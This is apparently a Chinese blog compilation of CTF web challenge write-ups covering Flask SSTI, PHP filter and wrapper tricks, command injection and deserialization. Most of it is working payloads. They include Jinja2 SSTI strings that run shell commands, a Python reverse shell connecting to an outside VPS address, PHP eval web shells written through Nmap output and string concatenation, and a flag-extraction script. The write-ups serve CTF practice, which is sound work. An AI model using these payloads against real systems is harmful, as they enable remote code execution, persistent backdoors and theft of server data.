2021年5月

[SUCTF 2019]Pythonginx

blackhat的议题,大意是IDNA在解析url过程中会对特殊字符产生意想不到的操作(doge),放个链接解释
写个python脚本fuzz一下

def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass

最后读一下配置文件,从中找出flag的位置

url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf

[WesternCTF2018]shrine

由源码可知,flag在环境变量里。
config,sef关键字被禁用,用{{url_for.__globals__}}查看,发现current.app
再用{{url_for.__globals__[\'current_app\'].config}}查看详细信息。
再利用flask中的get_flashed_messages

get_flashed_messages() 方法: 返回之前在Flask中通过 flash () 传入的闪现信息列表。 把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages () 方法取出 (闪现信息只能取出一次,取出后闪现信息会被清空)。

最后payload:

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

[GYCTF2020]FlaskApp

报错时能看到一部分源码

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

直接ssti发现有过滤,尝试读一波源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

找到waf函数部分

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

对于字符串的过滤可以用拼接绕过

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[CSCCTF 2019 Qual]FlaskLight

简单的ssti注入,这里多放几个payload:

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[网鼎杯 2020 白虎组]PicDown

存在任意文件读取,这里用proc查看相关信息:

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
/proc/self/cmdline  当前进程的完整命令
/proc/self/cwd      获取目标指定进程环境的运行目录
/proc/self/exe      获得指定进程的可执行文件的完整路径
/proc/self/eviron   取指定进程的环境变量信息
/proc/self/fd       包含着当前进程打开的每一个文件的描述符

查看/proc/self/cmdline发现app.py,
没有密钥,通过爆破fd后的pid来搜索文件。
最后的payload:

/no_one_know_the_manager?key=9zcrKJMWxk7NVdVhdrrtOq3a3ZyMeNFRstZdE0jjsqw=&sehll=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

在vps上监听端口即可。

[RootersCTF2019]I_<3_Flask

Arjun爆一波参数先,然后直接用tplmap跑就完了。

python2 tplmap.py -u 'url/?name=1' --os-shell

[CISCN2019 华东南赛区]Double Secret

报错带出源码,传进去的字符串要经过RC4解密,写个对应的RC4加密即可:
payload:

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

[DDCTF 2019]homebrew event loop

挺有意思的逻辑漏洞
买入和扣钱不是在同一个函数中,调用函数入队和调用函数执行也不在一个函数中,于是就可以多次用trigger_event调用自己实现多次调用buy_handler函数,并把扣钱的操作留到最后。

payload:
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

这时的flag已经在session中了。接下来用p师傅的脚本进行解密即可

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

PyCalX 1&2

源码中的问题:

1.op中只检查了第一个字符,意味着第二个是没有限制的。
2.除表达式中的三个变量之外,source也是可控的。
3.value1,,value2最后是使用repr处理的,repr相当于php中的双引号,是可以进行解析的。

所以这个题就可以采用类似盲注的方法把FLAG中的内容跑出来。
2中将op中的字符全部检查了,无法用单引号进行闭合,但可以利用python3.6的新特性f-string,简言之就是可以在字符串中方便地直接插入表达式,以f 开头,表达式插在大括号{} 里,在运行时表达式会被计算并替换成对应的值。

payload:
import requests
import time

url = 'http://e06e24de-4615-4d33-b982-ee1ca90bfee5.node3.buuoj.cn/cgi-bin/pycalx.py'
flag = 'flag{'
while True:
    high = 127
    low = 1
    mid = (high + low) // 2
    while high > low:
        tmp = flag + chr(mid)
        data = {
            'value1': 'a',
            'op': '+\'',
            'value2': 'and FLAG>source#',
            'source': tmp
        }
        data2 = {
            'value1': 'Tru',
            'op': '+f',
            'value2': '{101 if FLAG>source else 102:c}',
            'source': tmp
        }
        r = requests.get(url, data)
        print(chr(mid), end="")
        if r.status_code == 200:
            if 'True' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (high + low) // 2
        else:
            time.sleep(1)
    flag += chr(mid-1)
    print(" | flag="+flag)
    if "}" in flag:
        break
print("flag="+flag)

[BSidesCF 2020]Had a bad day

php伪协议嵌套一些无关的字符不影响文件的读取

payload:
php://filter/read=convert.base64-encode/woofers/resource=index

[CISCN 2019 初赛]Love Math

可利用的函数

base_convert():在任意进制之间转换数字。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
dechex() 函数把十进制数转换为十六进制数。

想要执行的命令:

?c=system("cat /flag")

php支持用变量代替函数:

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

其中[]可以用{}代替,_GET可用按一下思路构造

_GET => 10进制ascii(用hex2bin) => 16进制ascii(用dechex)
用base_convert构造hex2bin => hex2bin=base_convert(37907361743,10,36)

最后的payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[CISCN2019 华东南赛区]Web11

Smarty模板注入
smarty中if标签可以执行php语句
payload:

{if readfile('/flag')}{/if}

[WUSTCTF2020]朴实无华

第一个绕过

intval()处理字符串时会将第一个非数字前面的当做一个数字处理,
构造$num='1e10',在进行+操作时会被转成整数型进行运算,从而实现绕过。

第二个绕过
md5值与自身相等即可,放一个别人的脚本

def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1

run()

第三个绕过

ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag。

[网鼎杯 2020 朱雀组]Nmap

先放上参考
利用escapeshellarg()+escapeshellcmd()造成的绕过

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

最后的payload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

[NPUCTF2020]ReadlezPHP

动态函数的反序列化
直接上payload:

payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

phpinfo中find一个flag就好

[GWCTF 2019]枯燥的抽奖

mt_rand伪随机数,首先生成脚本能识别的序列。

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='L5w6HSyn3X'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

生成好的东西扔php_mt_seed里跑
再把生成的种子扔脚本里跑

<?php
mt_srand(819101489);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

生成的序列填入,获得flag。

[MRCTF2020]套娃

php在解析url的时候会将某些字符解析成下划线,正则匹配可以用%0a截断。payload

?b%20u%20p%20t=23333%0a

修改http头进入文件,发现jsfuck,解码得知要post一个参数。
换个http头,用伪协议绕过if

?2333=data:text/plain,todat is a happy day&file=flag.php

还需要将flag.php进行解密后再传入。

<?php
function unchange($v){
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) - $i*2 );
    }
    return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

最后的payload:

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

http头
Client-ip : 127.0.0.1

[FBCTF2019]RCEService

不知道源码哪来的,但它确实有源码。
cat不能直接用,要用/bin/cat
preg_match只能匹配一行,可以采用多行绕过。
payload:

{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

或者利用PCRE的最大回溯次数来绕过
放一个p神的文章
payload2:

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}'
res = requests.post("url", data={"cmd":payload})
print(res.text)

[Zer0pts2020]Can you guess it?

利用的basename会自动去除非ascii字符造成的绕过。
Fuzz一下先:

import requests
import re
for i in range(0,255):
    url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
    print(url)
    r = requests.get(url)
    flag = re.findall("flag\{.*?\}", r.text)
    if flag:
        print(flag)
        break

payload:

/index.php/config.php/%ff?source

[HarekazeCTF2019]encode_and_encode

伪协议没过滤filter,flag可以用Unicode编码绕过,
显示数据的时候用base64绕过。
payload:

{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}

[BJDCTF2020]EzPHP

这个题是真tmd烦

第一层,因为直接解析url中的内容,所以可以直接用urlencode绕过。
第二层,preg_match在末尾没有s的时候会自动忽略%0a,这里可以加一个%0a绕过。
第三层,在REQUEST中,如果POST和GET传入同一个变量,POST的优先级会高于GET,因此可以POST传入纯数字来覆盖GET,注意这里还有把COOKIE给去掉。
第四层,文件内容比较直接用data协议绕过。
第五层,绕过sha1,类似md5可以用数组绕过。

然后是动态函数的构造

$code('', $arg);
等价于
$code(){
    $arg;
}

这里可以通过手动闭合大括号达成任意命令执行的目的。

function feng(){
    }var_dump(get_defined_vars);//}

然后提示要包含rea1fl4g.php,尝试伪协议加取反绕过。

<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

[NPUCTF2020]ezinclude

php伪协议读一下flflflflag.php的源码,过滤了data|input|zip,不能直接写马。
利用php < 7.2的特性

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

payload:

import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

打开dir.php得到临时文件名,flag在phpinfo中。

[SUCTF 2018]annonymous

想办法调用匿名函数,原理如下:

匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)

写个脚本暴力跑一下

import requests
while True:
    r=requests.get('http://url/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break

[羊城杯 2020]Blackcat

hash_hmac在进行sha256加密时将遇到数组返回空值,和数组绕过sha256比较的原理相同。

payload:
White-cat-monitor[]=K1ose&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

[羊城杯 2020]Easyphp2

php://filter伪协议的骚操作,过滤了base64|rot13等常用,但。。。

payload:
1.php://filter/convert.%6%32ase64-encode/resource=GWHT.php (二次url编码绕过)
2.php://filter/read=convert.quoted-printable-encode/resource=GWHT.php (Quoted-printable编码绕过)
3.php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php (utf系列绕过)

读到源码后把user=pass改为GWHT正常访问,通过字符串拼接直接写马:

count='|echo "<?= eval(\$_POST['shell'])?>" > a.php'

连上之后发现权限不够,找到密码的hash直接爆破,然后用su执行cat flag

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

[WMCTF2020]Web Check in 2.0

上一题是filter的读,这个事filter的写,原理类似。出题人的参考
以及这篇及其详细的
还是两种思路,用url编码绕过过滤和直接filter过滤器绕过,但这里过滤了%25,编码绕过时需要fuzz一下找个能用的,

<?php 
$char = 'r'; #构造r的二次编码 
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { 
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { 
        $aaa = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($aaa)) == $char){ 
            echo $char.': '.$aaa; 
            echo "\n"; 
        } 
    } 
} 
?> 
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php 
#Cyc1e.php 
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc 

或者组合去拳直接绕过

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php